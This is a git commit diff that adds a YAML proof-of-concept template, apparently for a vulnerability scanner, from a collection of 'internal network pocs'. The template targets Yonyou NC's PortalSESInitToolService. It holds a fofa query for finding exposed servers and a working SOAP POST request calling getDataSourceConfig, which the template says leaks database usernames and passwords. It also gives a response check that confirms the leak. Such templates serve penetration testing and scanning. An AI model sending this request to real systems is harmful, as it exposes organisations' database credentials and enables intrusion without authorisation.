feat: add curated internal network pocs

2026-09-26 21:21:53 +08:00 · 2026-07-16 01:45:09 +08:00
parent 61ae87d171
commit 621b2c2f24
52 changed files with 1230 additions and 0 deletions
@@ -0,0 +1,30 @@
+id: yonyou-nc-portalsesInittoolservice-disclosure
+
+info:
+  name: 用友 portalsesInittoolservice 泄露数据库账号密码
+  author: zan8in
+  severity: high
+  verified: true
+  description: |
+    用友 portalsesInittoolservice 泄露数据库账号密码
+    fofa: app="用友-UFIDA-NC"
+  tags: yonyou,disclosure
+  created: 2025/05/06
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /uapws/service/nc.itf.ses.inittool.PortalSESInitToolService
+      body: |
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:por="http://inittool.ses.itf.nc/PortalSESInitToolService">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <por:getDataSourceConfig/>
+        </soapenv:Body>
+        </soapenv:Envelope>
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'<ns1:getDataSourceConfigResponse') &&
+      response.body.bcontains(b'ns1:getDataSourceConfigResponse>')
+expression: r0()